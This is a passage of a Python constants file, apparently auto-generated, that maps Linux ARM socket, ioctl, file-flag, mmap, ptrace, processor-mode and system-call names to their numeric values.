Constant('SOL_CAIF',278)\nSOL_ALG = Constant('SOL_ALG',279)\nSOL_NFC = Constant('SOL_NFC',280)\nSOL_KCM = Constant('SOL_KCM',281)\nSOL_TLS = Constant('SOL_TLS',282)\nIPX_TYPE = Constant('IPX_TYPE',1)\nSHUT_RD = Constant('SHUT_RD',0)\nSHUT_WR = Constant('SHUT_WR',1)\nSHUT_RDWR = Constant('SHUT_RDWR',2)\nNI_NOFQDN = Constant('NI_NOFQDN',1)\nNI_NUMERICHOST = Constant('NI_NUMERICHOST',2)\nNI_NAMEREQD = Constant('NI_NAMEREQD',4)\nNI_NUMERICSERV = Constant('NI_NUMERICSERV',8)\nNI_DGRAM = Constant('NI_DGRAM',16)\nEAI_FAMILY = Constant('EAI_FAMILY',-1)\nEAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2)\nEAI_BADFLAGS = Constant('EAI_BADFLAGS',-3)\nEAI_NONAME = Constant('EAI_NONAME',-4)\nEAI_SERVICE = Constant('EAI_SERVICE',-5)\nEAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6)\nEAI_NODATA = Constant('EAI_NODATA',-7)\nEAI_MEMORY = Constant('EAI_MEMORY',-8)\nEAI_FAIL = Constant('EAI_FAIL',-9)\nEAI_AGAIN = Constant('EAI_AGAIN',-10)\nEAI_SYSTEM = Constant('EAI_SYSTEM',-11)\nAI_NUMERICHOST = Constant('AI_NUMERICHOST',1)\nAI_CANONNAME = Constant('AI_CANONNAME',2)\nAI_PASSIVE = Constant('AI_PASSIVE',4)\nAI_NUMERICSERV = Constant('AI_NUMERICSERV',8)\nAI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16)\nAI_V4MAPPED = Constant('AI_V4MAPPED',32)\nAI_ALL = Constant('AI_ALL',64)\nSIOCADDRT = Constant('SIOCADDRT',0x890B)\nSIOCDELRT = Constant('SIOCDELRT',0x890C)\nSIOCRTMSG = Constant('SIOCRTMSG',0x890D)\nSIOCGIFNAME = Constant('SIOCGIFNAME',0x8910)\nSIOCSIFLINK = Constant('SIOCSIFLINK',0x8911)\nSIOCGIFCONF = Constant('SIOCGIFCONF',0x8912)\nSIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913)\nSIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914)\nSIOCGIFADDR = Constant('SIOCGIFADDR',0x8915)\nSIOCSIFADDR = Constant('SIOCSIFADDR',0x8916)\nSIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917)\nSIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918)\nSIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919)\nSIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a)\nSIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b)\nSIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c)\nSIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d)\nSIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e)\nSIOCGIFMEM = Constant('SIOCGIFMEM',0x891f)\nSIOCSIFMEM = Constant('SIOCSIFMEM',0x8920)\nSIOCGIFMTU = Constant('SIOCGIFMTU',0x8921)\nSIOCSIFMTU = Constant('SIOCSIFMTU',0x8922)\nSIOCSIFNAME = Constant('SIOCSIFNAME',0x8923)\nSIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924)\nSIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925)\nSIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926)\nSIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927)\nSIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929)\nSIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930)\nSIOCADDMULTI = Constant('SIOCADDMULTI',0x8931)\nSIOCDELMULTI = Constant('SIOCDELMULTI',0x8932)\nSIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933)\nSIOGIFINDEX = Constant('SIOGIFINDEX',0x8933)\nSIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934)\nSIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935)\nSIOCDIFADDR = Constant('SIOCDIFADDR',0x8936)\nSIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937)\nSIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938)\nSIOCGIFBR = Constant('SIOCGIFBR',0x8940)\nSIOCSIFBR = Constant('SIOCSIFBR',0x8941)\nSIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942)\nSIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943)\nSIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944)\nSIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945)\nSIOCETHTOOL = Constant('SIOCETHTOOL',0x8946)\nSIOCDARP = Constant('SIOCDARP',0x8953)\nSIOCGARP = Constant('SIOCGARP',0x8954)\nSIOCSARP = Constant('SIOCSARP',0x8955)\nSIOCDRARP = Constant('SIOCDRARP',0x8960)\nSIOCGRARP = Constant('SIOCGRARP',0x8961)\nSIOCSRARP = Constant('SIOCSRARP',0x8962)\nSIOCGIFMAP = Constant('SIOCGIFMAP',0x8970)\nSIOCSIFMAP = Constant('SIOCSIFMAP',0x8971)\nSIOCADDDLCI = Constant('SIOCADDDLCI',0x8980)\nSIOCDELDLCI = Constant('SIOCDELDLCI',0x8981)\nSIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0)\nF_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)\nO_ACCMODE = Constant('O_ACCMODE',0o003)\nO_RDONLY = Constant('O_RDONLY',0o0)\nO_WRONLY = Constant('O_WRONLY',0o1)\nO_RDWR = Constant('O_RDWR',0o2)\nO_CREAT = Constant('O_CREAT',0o100)\nO_EXCL = Constant('O_EXCL',0o200)\nO_NOCTTY = Constant('O_NOCTTY',0o400)\nO_TRUNC = Constant('O_TRUNC',0o1000)\nO_APPEND = Constant('O_APPEND',0o2000)\nO_NONBLOCK = Constant('O_NONBLOCK',0o4000)\nO_NDELAY = Constant('O_NDELAY',0o4000)\nO_DSYNC = Constant('O_DSYNC',0o10000)\nFASYNC = Constant('FASYNC',0o20000)\nO_DIRECTORY = Constant('O_DIRECTORY',0o40000)\nO_NOFOLLOW = Constant('O_NOFOLLOW',0o100000)\nO_DIRECT = Constant('O_DIRECT',0o200000)\nO_LARGEFILE = Constant('O_LARGEFILE',0o400000)\nO_NOATIME = Constant('O_NOATIME',0o1000000)\nO_CLOEXEC = Constant('O_CLOEXEC',0o2000000)\nO_SYNC = Constant('O_SYNC',(0o10000|0o4000000))\nO_PATH = Constant('O_PATH',0o10000000)\n__O_TMPFILE = Constant('__O_TMPFILE',0o20000000)\nF_DUPFD = Constant('F_DUPFD',0)\nF_GETFD = Constant('F_GETFD',1)\nF_SETFD = Constant('F_SETFD',2)\nF_GETFL = Constant('F_GETFL',3)\nF_SETFL = Constant('F_SETFL',4)\nF_GETLK = Constant('F_GETLK',5)\nF_SETLK = Constant('F_SETLK',6)\nF_SETLKW = Constant('F_SETLKW',7)\nF_SETOWN = Constant('F_SETOWN',8)\nF_GETOWN = Constant('F_GETOWN',9)\nF_SETSIG = Constant('F_SETSIG',10)\nF_GETSIG = Constant('F_GETSIG',11)\nF_GETLK64 = Constant('F_GETLK64',12)\nF_SETLK64 = Constant('F_SETLK64',13)\nF_SETLKW64 = Constant('F_SETLKW64',14)\nFD_CLOEXEC = Constant('FD_CLOEXEC',1)\nF_RDLCK = Constant('F_RDLCK',0)\nF_WRLCK = Constant('F_WRLCK',1)\nF_UNLCK = Constant('F_UNLCK',2)\nF_EXLCK = Constant('F_EXLCK',4)\nF_SHLCK = Constant('F_SHLCK',8)\nF_INPROGRESS = Constant('F_INPROGRESS',16)\nLOCK_SH = Constant('LOCK_SH',1)\nLOCK_EX = Constant('LOCK_EX',2)\nLOCK_NB = Constant('LOCK_NB',4)\nLOCK_UN = Constant('LOCK_UN',8)\nLOCK_MAND = Constant('LOCK_MAND',32)\nLOCK_READ = Constant('LOCK_READ',64)\nLOCK_WRITE = Constant('LOCK_WRITE',128)\nLOCK_RW = Constant('LOCK_RW',192)\nO_TMPFILE = Constant('O_TMPFILE',(0o20000000 | 0o40000))\nO_ASYNC = Constant('O_ASYNC',0o20000)\nF_SETOWN_EX = Constant('F_SETOWN_EX',15)\nF_GETOWN_EX = Constant('F_GETOWN_EX',16)\nF_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17)\nF_OFD_GETLK = Constant('F_OFD_GETLK',36)\nF_OFD_SETLK = Constant('F_OFD_SETLK',37)\nF_OFD_SETLKW = Constant('F_OFD_SETLKW',38)\nF_OWNER_TID = Constant('F_OWNER_TID',0)\nF_OWNER_PID = Constant('F_OWNER_PID',1)\nF_OWNER_PGRP = Constant('F_OWNER_PGRP',2)\nAT_FDCWD = Constant('AT_FDCWD',-100)\nAT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100)\nAT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200)\nAT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400)\nAT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800)\nAT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000)\nAT_EACCESS = Constant('AT_EACCESS',0x200)\nMREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)\nMREMAP_FIXED = Constant('MREMAP_FIXED',2)\nPROT_READ = Constant('PROT_READ',0x1)\nPROT_WRITE = Constant('PROT_WRITE',0x2)\nPROT_EXEC = Constant('PROT_EXEC',0x4)\nPROT_SEM = Constant('PROT_SEM',0x8)\nPROT_NONE = Constant('PROT_NONE',0x0)\nPROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000)\nPROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000)\nMAP_SHARED = Constant('MAP_SHARED',0x01)\nMAP_PRIVATE = Constant('MAP_PRIVATE',0x02)\nMAP_TYPE = Constant('MAP_TYPE',0xf)\nMADV_REMOVE = Constant('MADV_REMOVE',9)\nMADV_DONTFORK = Constant('MADV_DONTFORK',10)\nMADV_DOFORK = Constant('MADV_DOFORK',11)\nMADV_MERGEABLE = Constant('MADV_MERGEABLE',12)\nMADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13)\nMADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14)\nMADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15)\nMADV_DONTDUMP = Constant('MADV_DONTDUMP',16)\nMADV_DODUMP = Constant('MADV_DODUMP',17)\nMADV_HWPOISON = Constant('MADV_HWPOISON',100)\nMADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101)\nMLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1)\nMAP_FIXED = Constant('MAP_FIXED',0x10)\nMAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x20)\nMAP_GROWSDOWN = Constant('MAP_GROWSDOWN',0x0100)\nMAP_DENYWRITE = Constant('MAP_DENYWRITE',0x0800)\nMAP_EXECUTABLE = Constant('MAP_EXECUTABLE',0x1000)\nMAP_LOCKED = Constant('MAP_LOCKED',0x2000)\nMAP_NORESERVE = Constant('MAP_NORESERVE',0x4000)\nMAP_POPULATE = Constant('MAP_POPULATE',0x8000)\nMAP_NONBLOCK = Constant('MAP_NONBLOCK',0x10000)\nMAP_STACK = Constant('MAP_STACK',0x20000)\nMAP_HUGETLB = Constant('MAP_HUGETLB',0x40000)\nMS_ASYNC = Constant('MS_ASYNC',1)\nMS_INVALIDATE = Constant('MS_INVALIDATE',2)\nMS_SYNC = Constant('MS_SYNC',4)\nMCL_CURRENT = Constant('MCL_CURRENT',1)\nMCL_FUTURE = Constant('MCL_FUTURE',2)\nMCL_ONFAULT = Constant('MCL_ONFAULT',4)\nMADV_NORMAL = Constant('MADV_NORMAL',0x0)\nMADV_RANDOM = Constant('MADV_RANDOM',0x1)\nMADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',0x2)\nMADV_WILLNEED = Constant('MADV_WILLNEED',0x3)\nMADV_DONTNEED = Constant('MADV_DONTNEED',0x4)\nMAP_ANON = Constant('MAP_ANON',0x20)\nMAP_FILE = Constant('MAP_FILE',0)\nPOSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0x0)\nPOSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',0x2)\nPOSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',0x1)\nPOSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',0x3)\nPOSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',0x4)\nPTRACE_TRACEME = Constant('PTRACE_TRACEME',0)\nPTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1)\nPTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2)\nPTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3)\nPTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3)\nPTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4)\nPTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5)\nPTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6)\nPTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6)\nPTRACE_CONT = Constant('PTRACE_CONT',7)\nPTRACE_KILL = Constant('PTRACE_KILL',8)\nPTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9)\nPTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10)\nPTRACE_DETACH = Constant('PTRACE_DETACH',0x11)\nPTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24)\nPTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201)\nPTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202)\nPTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203)\nPTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001)\nPTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002)\nPTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004)\nPTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008)\nPTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010)\nPTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020)\nPTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040)\nPTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f)\nPTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1)\nPTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2)\nPTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3)\nPTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4)\nPTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5)\nPTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6)\nPT_TRACE_ME = Constant('PT_TRACE_ME',0)\nPT_READ_I = Constant('PT_READ_I',1)\nPT_READ_D = Constant('PT_READ_D',2)\nPT_READ_U = Constant('PT_READ_U',3)\nPT_WRITE_I = Constant('PT_WRITE_I',4)\nPT_WRITE_D = Constant('PT_WRITE_D',5)\nPT_WRITE_U = Constant('PT_WRITE_U',6)\nPT_CONTINUE = Constant('PT_CONTINUE',7)\nPT_KILL = Constant('PT_KILL',8)\nPT_STEP = Constant('PT_STEP',9)\nPT_ATTACH = Constant('PT_ATTACH',0x10)\nPT_DETACH = Constant('PT_DETACH',0x11)\nUSR26_MODE = Constant('USR26_MODE',0x00)\nFIQ26_MODE = Constant('FIQ26_MODE',0x01)\nIRQ26_MODE = Constant('IRQ26_MODE',0x02)\nSVC26_MODE = Constant('SVC26_MODE',0x03)\nUSR_MODE = Constant('USR_MODE',0x10)\nFIQ_MODE = Constant('FIQ_MODE',0x11)\nIRQ_MODE = Constant('IRQ_MODE',0x12)\nSVC_MODE = Constant('SVC_MODE',0x13)\nABT_MODE = Constant('ABT_MODE',0x17)\nUND_MODE = Constant('UND_MODE',0x1b)\nSYSTEM_MODE = Constant('SYSTEM_MODE',0x1f)\nMODE_MASK = Constant('MODE_MASK',0x1f)\nT_BIT = Constant('T_BIT',0x20)\nF_BIT = Constant('F_BIT',0x40)\nI_BIT = Constant('I_BIT',0x80)\nCC_V_BIT = Constant('CC_V_BIT',(1 << 28))\nCC_C_BIT = Constant('CC_C_BIT',(1 << 29))\nCC_Z_BIT = Constant('CC_Z_BIT',(1 << 30))\nCC_N_BIT = Constant('CC_N_BIT',(1 << 31))\nPCMASK = Constant('PCMASK',0)\nSYS_accept = Constant('SYS_accept',(0+285))\nSYS_accept4 = Constant('SYS_accept4',(0+366))\nSYS_access = Constant('SYS_access',(0+ 33))\nSYS_acct = Constant('SYS_acct',(0+ 51))\nSYS_add_key = Constant('SYS_add_key',(0+309))\nSYS_adjtimex = Constant('SYS_adjtimex',(0+124))\nSYS_alarm = Constant('SYS_alarm',(0+ 27))\nSYS_arm_fadvise64_64 = Constant('SYS_arm_fadvise64_64',(0+270))\nSYS_arm_sync_file_range = Constant('SYS_arm_sync_file_range',(0+341))\nSYS_bdflush = Constant('SYS_bdflush',(0+134))\nSYS_bind = Constant('SYS_bind',(0+282))\nSYS_bpf = Constant('SYS_bpf',(0+386))\nSYS_brk = Constant('SYS_brk',(0+ 45))\nSYS_capget = Constant('SYS_capget',(0+184))\nSYS_capset = Constant('SYS_capset',(0+185))\nSYS_chdir = Constant('SYS_chdir',(0+ 12))\nSYS_chmod = Constant('SYS_chmod',(0+ 15))\nSYS_chown = Constant('SYS_chown',(0+182))\nSYS_chown32 = Constant('SYS_chown32',(0+212))\nSYS_chroot = Constant('SYS_chroot',(0+ 61))\nSYS_clock_adjtime = Constant('SYS_clock_adjtime',(0+372))\nSYS_clock_adjtime64 = Constant('SYS_clock_adjtime64',(0 + 405))\nSYS_clock_getres = Constant('SYS_clock_getres',(0+264))\nSYS_clock_getres_time64 = Constant('SYS_clock_getres_time64',(0 + 406))\nSYS_clock_gettime = Constant('SYS_clock_gettime',(0+263))\nSYS_clock_gettime64 = Constant('SYS_clock_gettime64',(0 + 403))\nSYS_clock_nanosleep = Constant('SYS_clock_nanosleep',(0+265))\nSYS_clock_nanosleep_time64 = Constant('SYS_clock_nanosleep_time64',(0 + 407))\nSYS_clock_settime = Constant('SYS_clock_settime',(0+262))\nSYS_clock_settime64 = Constant('SYS_clock_settime64',(0 + 404))\nSYS_clone = Constant('SYS_clone',(0+120))\nSYS_clone3 = Constant('SYS_clone3',(0 + 435))\nSYS_close = Constant('SYS_close',(0+  6))\nSYS_connect = Constant('SYS_connect',(0+283))\nSYS_copy_file_range = Constant('SYS_copy_file_range',(0+391))\nSYS_creat = Constant('SYS_creat',(0+  8))\nSYS_delete_module = Constant('SYS_delete_module',(0+129))\nSYS_dup = Constant('SYS_dup',(0+ 41))\nSYS_dup2 = Constant('SYS_dup2',(0+ 63))\nSYS_dup3 = Constant('SYS_dup3',(0+358))\nSYS_epoll_create = Constant('SYS_epoll_create',(0+250))\nSYS_epoll_create1 = Constant('SYS_epoll_create1',(0+357))\nSYS_epoll_ctl = Constant('SYS_epoll_ctl',(0+251))\nSYS_epoll_wait = Constant('SYS_epoll_wait',(0+252))\nSYS_eventfd = Constant('SYS_eventfd',(0+351))\nSYS_eventfd2 = Constant('SYS_eventfd2',(0+356))\nSYS_execve = Constant('SYS_execve',(0+ 11))\nSYS_execveat = Constant('SYS_execveat',(0+387))\nSYS_exit = Constant('SYS_exit',(0+  1))\nSYS_exit_group = Constant('SYS_exit_group',(0+248))\nSYS_faccessat = Constant('SYS_faccessat',(0+334))\nSYS_fallocate = Constant('SYS_fallocate',(0+352))\nSYS_fanotify_init = Constant('SYS_fanotify_init',(0+367))\nSYS_fanotify_mark = Constant('SYS_fanotify_mark',(0+368))\nSYS_fchdir = Constant('SYS_fchdir',(0+133))\nSYS_fchmod = Constant('SYS_fchmod',(0+ 94))\nSYS_fchmodat = Constant('SYS_fchmodat',(0+333))\nSYS_fchown = Constant('SYS_fchown',(0+ 95))\nSYS_fchown32 = Constant('SYS_fchown32',(0+207))\nSYS_fchownat = Constant('SYS_fchownat',(0+325))\nSYS_fcntl = Constant('SYS_fcntl',(0+ 55))\nSYS_fcntl64 = Constant('SYS_fcntl64',(0+221))\nSYS_fdatasync = Constant('SYS_fdatasync',(0+148))\nSYS_fgetxattr = Constant('SYS_fgetxattr',(0+231))\nSYS_finit_module = Constant('SYS_finit_module',(0+379))\nSYS_flistxattr = Constant('SYS_flistxattr',(0+234))\nSYS_flock = Constant('SYS_flock',(0+143))\nSYS_fork = Constant('SYS_fork',(0+  2))\nSYS_fremovexattr = Constant('SYS_fremovexattr',(0+237))\nSYS_fsconfig = Constant('SYS_fsconfig',(0 + 431))\nSYS_fsetxattr = Constant('SYS_fsetxattr',(0+228))\nSYS_fsmount = Constant('SYS_fsmount',(0 + 432))\nSYS_fsopen = Constant('SYS_fsopen',(0 + 430))\nSYS_fspick = Constant('SYS_fspick',(0 + 433))\nSYS_fstat = Constant('SYS_fstat',(0+108))\nSYS_fstat64 = Constant('SYS_fstat64',(0+197))\nSYS_fstatat64 = Constant('SYS_fstatat64',(0+327))\nSYS_fstatfs = Constant('SYS_fstatfs',(0+100))\nSYS_fstatfs64 = Constant('SYS_fstatfs64',(0+267))\nSYS_fsync = Constant('SYS_fsync',(0+118))\nSYS_ftruncate = Constant('SYS_ftruncate',(0+ 93))\nSYS_ftruncate64 = Constant('SYS_ftruncate64',(0+194))\nSYS_futex = Constant('SYS_futex',(0+240))\nSYS_futex_time64 = Constant('SYS_futex_time64',(0 + 422))\nSYS_futimesat = Constant('SYS_futimesat',(0+326))\nSYS_getcpu = Constant('SYS_getcpu',(0+345))\nSYS_getcwd = Constant('SYS_getcwd',(0+183))\nSYS_getdents = Constant('SYS_getdents',(0+141))\nSYS_getdents64 = Constant('SYS_getdents64',(0+217))\nSYS_getegid = Constant('SYS_getegid',(0+ 50))\nSYS_getegid32 = Constant('SYS_getegid32',(0+202))\nSYS_geteuid = Constant('SYS_geteuid',(0+ 49))\nSYS_geteuid32 = Constant('SYS_geteuid32',(0+201))\nSYS_getgid = Constant('SYS_getgid',(0+ 47))\nSYS_getgid32 = Constant('SYS_getgid32',(0+200))\nSYS_getgroups = Constant('SYS_getgroups',(0+ 80))\nSYS_getgroups32 = Constant('SYS_getgroups32',(0+205))\nSYS_getitimer = Constant('SYS_getitimer',(0+105))\nSYS_get_mempolicy = Constant('SYS_get_mempolicy',(0+320))\nSYS_getpeername = Constant('SYS_getpeername',(0+287))\nSYS_getpgid = Constant('SYS_getpgid',(0+132))\nSYS_getpgrp = Constant('SYS_getpgrp',(0+ 65))\nSYS_getpid = Constant('SYS_getpid',(0+ 20))\nSYS_getppid = Constant('SYS_getppid',(0+ 64))\nSYS_getpriority = Constant('SYS_getpriority',(0+ 96))\nSYS_getrandom = Constant('SYS_getrandom',(0+384))\nSYS_getresgid = Constant('SYS_getresgid',(0+171))\nSYS_getresgid32 = Constant('SYS_getresgid32',(0+211))\nSYS_getresuid = Constant('SYS_getresuid',(0+165))\nSYS_getresuid32 = Constant('SYS_getresuid32',(0+209))\nSYS_getrlimit = Constant('SYS_getrlimit',(0+ 76))\nSYS_get_robust_list = Constant('SYS_get_robust_list',(0+339))\nSYS_getrusage = Constant('SYS_getrusage',(0+ 77))\nSYS_getsid = Constant('SYS_getsid',(0+147))\nSYS_getsockname = Constant('SYS_getsockname',(0+286))\nSYS_getsockopt = Constant('SYS_getsockopt',(0+295))\nSYS_gettid = Constant('SYS_gettid',(0+224))\nSYS_gettimeofday = Constant('SYS_gettimeofday',(0+ 78))\nSYS_getuid = Constant('SYS_getuid',(0+ 24))\nSYS_getuid32 = Constant('SYS_getuid32',(0+199))\nSYS_getxattr = Constant('SYS_getxattr',(0+229))\nSYS_init_module = Constant('SYS_init_module',(0+128))\nSYS_inotify_add_watch = Constant('SYS_inotify_add_watch',(0+317))\nSYS_inotify_init = Constant('SYS_inotify_init',(0+316))\nSYS_inotify_init1 = Constant('SYS_inotify_init1',(0+360))\nSYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',(0+318))\nSYS_io_cancel = Constant('SYS_io_cancel',(0+247))\nSYS_ioctl = Constant('SYS_ioctl',(0+ 54))\nSYS_io_destroy = Constant('SYS_io_destroy',(0+244))\nSYS_io_getevents = Constant('SYS_io_getevents',(0+245))\nSYS_io_pgetevents = Constant('SYS_io_pgetevents',(0 + 399))\nSYS_io_pgetevents_time64 = Constant('SYS_io_pgetevents_time64',(0 + 416))\nSYS_ioprio_get = Constant('SYS_ioprio_get',(0+315))\nSYS_ioprio_set = Constant('SYS_ioprio_set',(0+314))\nSYS_io_setup = Constant('SYS_io_setup',(0+243))\nSYS_io_submit = Constant('SYS_io_submit',(0+246))\nSYS_io_uring_enter = Constant('SYS_io_uring_enter',(0 + 426))\nSYS_io_uring_register = Constant('SYS_io_uring_register',(0 + 427))\nSYS_io_uring_setup = Constant('SYS_io_uring_setup',(0 + 425))\nSYS_ipc = Constant('SYS_ipc',(0+117))\nSYS_kcmp = Constant('SYS_kcmp',(0+378))\nSYS_kexec_file_load = Constant('SYS_kexec_file_load',(0 + 401))\nSYS_kexec_load = Constant('SYS_kexec_load',(0+347))\nSYS_keyctl = Constant('SYS_keyctl',(0+311))\nSYS_kill = Constant('SYS_kill',(0+ 37))\nSYS_lchown = Constant('SYS_lchown',(0+ 16))\nSYS_lchown32 = Constant('SYS_lchown32',(0+198))\nSYS_lgetxattr = Constant('SYS_lgetxattr',(0+230))\nSYS_link = Constant('SYS_link',(0+  9))\nSYS_linkat = Constant('SYS_linkat',(0+330))\nSYS_listen = Constant('SYS_listen',(0+284))\nSYS_listxattr = Constant('SYS_listxattr',(0+232))\nSYS_llistxattr = Constant('SYS_llistxattr',(0+233))\nSYS__llseek = Constant('SYS__llseek',(0+140))\nSYS_lookup_dcookie = Constant('SYS_lookup_dcookie',(0+249))\nSYS_lremovexattr = Constant('SYS_lremovexattr',(0+236))\nSYS_lseek = Constant('SYS_lseek',(0+ 19))\nSYS_lsetxattr = Constant('SYS_lsetxattr',(0+227))\nSYS_lstat = Constant('SYS_lstat',(0+107))\nSYS_lstat64 = Constant('SYS_lstat64',(0+196))\nSYS_madvise = Constant('SYS_madvise',(0+220))\nSYS_mbind = Constant('SYS_mbind',(0+319))\nSYS_membarrier = Constant('SYS_membarrier',(0+389))\nSYS_memfd_create = Constant('SYS_memfd_create',(0+385))\nSYS_migrate_pages = Constant('SYS_migrate_pages',(0 + 400))\nSYS_mincore = Constant('SYS_mincore',(0+219))\nSYS_mkdir = Constant('SYS_mkdir',(0+ 39))\nSYS_mkdirat = Constant('SYS_mkdirat',(0+323))\nSYS_mknod = Constant('SYS_mknod',(0+ 14))\nSYS_mknodat = Constant('SYS_mknodat',(0+324))\nSYS_mlock = Constant('SYS_mlock',(0+150))\nSYS_mlock2 = Constant('SYS_mlock2',(0+390))\nSYS_mlockall = Constant('SYS_mlockall',(0+152))\nSYS_mmap = Constant('SYS_mmap',(0+ 90))\nSYS_mmap2 = Constant('SYS_mmap2',(0+192))\nSYS_mount = Constant('SYS_mount',(0+ 21))\nSYS_move_mount = Constant('SYS_move_mount',(0 + 429))\nSYS_move_pages = Constant('SYS_move_pages',(0+344))\nSYS_mprotect = Constant('SYS_mprotect',(0+125))\nSYS_mq_getsetattr = Constant('SYS_mq_getsetattr',(0+279))\nSYS_mq_notify = Constant('SYS_mq_notify',(0+278))\nSYS_mq_open = Constant('SYS_mq_open',(0+274))\nSYS_mq_timedreceive = Constant('SYS_mq_timedreceive',(0+277))\nSYS_mq_timedreceive_time64 = Constant('SYS_mq_timedreceive_time64',(0 + 419))\nSYS_mq_timedsend = Constant('SYS_mq_timedsend',(0+276))\nSYS_mq_timedsend_time64 = Constant('SYS_mq_timedsend_time64',(0 + 418))\nSYS_mq_unlink = Constant('SYS_mq_unlink',(0+275))\nSYS_mremap = Constant('SYS_mremap',(0+163))\nSYS_msgctl = Constant('SYS_msgctl',(0+304))\nSYS_msgget = Constant('SYS_msgget',(0+303))\nSYS_msgrcv = Constant('SYS_msgrcv',(0+302))\nSYS_msgsnd = Constant('SYS_msgsnd',(0+301))\nSYS_msync = Constant('SYS_msync',(0+144))\nSYS_munlock = Constant('SYS_munlock',(0+151))\nSYS_munlockall = Constant('SYS_munlockall',(0+153))\nSYS_munmap = Constant('SYS_munmap',(0+ 91))\nSYS_name_to_handle_at = Constant('SYS_name_to_handle_at',(0+370))\nSYS_nanosleep = Constant('SYS_nanosleep',(0+162))\nSYS__newselect = Constant('SYS__newselect',(0+142))\nSYS_nfsservctl = Constant('SYS_nfsservctl',(0+169))\nSYS_nice = Constant('SYS_nice',(0+ 34))\nSYS_OABI_SYSCALL_BASE = Constant('SYS_OABI_SYSCALL_BASE',0x900000)\nSYS_open = Constant('SYS_open',(0+  5))\nSYS_openat = Constant('SYS_openat',(0+322))\nSYS_openat2 = Constant('SYS_openat2',(0 + 437))\nSYS_open_by_handle_at = Constant('SYS_open_by_handle_at',(0+371))\nSYS_open_tree = Constant('SYS_open_tree',(0 + 428))\nSYS_pause = 